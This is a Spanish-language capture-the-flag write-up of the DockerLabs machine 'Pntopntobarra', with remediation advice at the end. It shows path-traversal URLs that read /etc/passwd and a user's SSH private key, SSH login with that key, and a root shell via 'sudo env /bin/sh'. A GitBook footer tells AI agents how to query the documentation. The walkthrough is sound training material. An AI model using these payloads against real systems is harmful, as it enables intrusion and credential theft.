> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pntopntobarra.md).

# Pntopntobarra

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y un servidor web Apache.

La cadena de explotacion es directa pero muy util para practicar lectura de archivos locales mediante path traversal. La aplicacion web recibe una ruta de imagen por parametro y no valida correctamente el valor introducido, lo que permite leer `/etc/passwd`, identificar al usuario `nico` y extraer su clave privada SSH. Una vez dentro del sistema, la escalada a `root` se consigue abusando de una regla `sudo` que permite ejecutar `/bin/env` sin password.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sCV -Pn -n -T4 172.17.0.2
```

![Nmap](/files/WpxRROmHDl2PGrxKMPYJ)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache 2.4.61 Debian |

Al acceder al servicio web aparece una pagina de advertencia del supuesto **LeFvIrus**:

```
http://172.17.0.2
```

![Web principal](/files/mCD1Y0IL1diFVP1NkGDr)

La pagina ofrece un boton para ver ejemplos de computadoras infectadas.

***

## Enumeracion web

Al pulsar sobre los ejemplos, la aplicacion carga el recurso mediante el parametro `images`:

```
http://172.17.0.2/ejemplos.php?images=./ejemplo1.png
```

![Parametro images](/files/2LnSYh3sDm4AGQQjfYGf)

La forma en la que se pasa la ruta del archivo resulta interesante. Si la aplicacion concatena ese parametro sin validar, podria permitir leer archivos fuera del directorio esperado.

***

## Local File Inclusion

Se prueba path traversal contra `/etc/passwd`:

```
http://172.17.0.2/ejemplos.php?images=../../../../../../etc/passwd
```

![Lectura de passwd](/files/yi6DDPmzlNCMl9n5LlxF)

La lectura funciona correctamente. En el contenido de `/etc/passwd` aparece un usuario local con shell:

```
nico:x:1000:1000:,,,:/home/nico:/bin/bash
```

Con este usuario identificado, se intenta leer su clave privada SSH:

```
http://172.17.0.2/ejemplos.php?images=../../../../../../home/nico/.ssh/id_rsa
```

![Clave privada](/files/MQnwup5Ee0EmH8oqD8J2)

La aplicacion devuelve una clave privada OpenSSH, por lo que se guarda en un archivo local y se ajustan los permisos:

```bash
chmod 600 nicoss
```

***

## Acceso por SSH

Se utiliza la clave privada para acceder como `nico`:

```bash
ssh nico@172.17.0.2 -i nicoss
```

![SSH nico](/files/W46DB2tS2arAygO4X6uT)

El acceso funciona correctamente y se obtiene una shell como `nico`.

***

## Escalada de privilegios

Se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo -l](/files/4ly7N6eVb20j18JlnDcC)

El usuario `nico` puede ejecutar `/bin/env` como cualquier usuario y sin password:

```
(ALL) NOPASSWD: /bin/env
```

Esta configuracion permite lanzar una shell como `root`:

```bash
sudo env /bin/sh
```

![Root](/files/uC7yW1HP3zWnCJhiuP6F)

Se confirma el compromiso de la maquina:

```bash
whoami
```

```
root
```

***

## Conclusion

Pntopntobarra es una maquina sencilla y muy buena para reforzar una idea clave: cualquier parametro que trabaje con rutas de archivos debe validarse con mucho cuidado. Un path traversal sobre una funcionalidad aparentemente inocente permite leer archivos sensibles, extraer una clave SSH y convertirlo en acceso al sistema.

### Puntos clave

* El servidor web Apache exponia `ejemplos.php`.
* El parametro `images` permitia path traversal.
* Se leyo `/etc/passwd` y se identifico el usuario `nico`.
* Se obtuvo la clave privada SSH de `/home/nico/.ssh/id_rsa`.
* Se accedio por SSH como `nico`.
* `sudo -l` revelo permiso `NOPASSWD` sobre `/bin/env`.
* La escalada final se realizo con `sudo env /bin/sh`.

### Recomendaciones

* No aceptar rutas de archivo directamente desde parametros controlados por el usuario.
* Normalizar y validar rutas antes de abrir archivos en el servidor.
* Usar listas blancas de nombres de archivo permitidos.
* Evitar que claves privadas SSH sean legibles por procesos web.
* Revisar reglas `sudo` y eliminar binarios que permitan ejecutar shells.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pntopntobarra.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
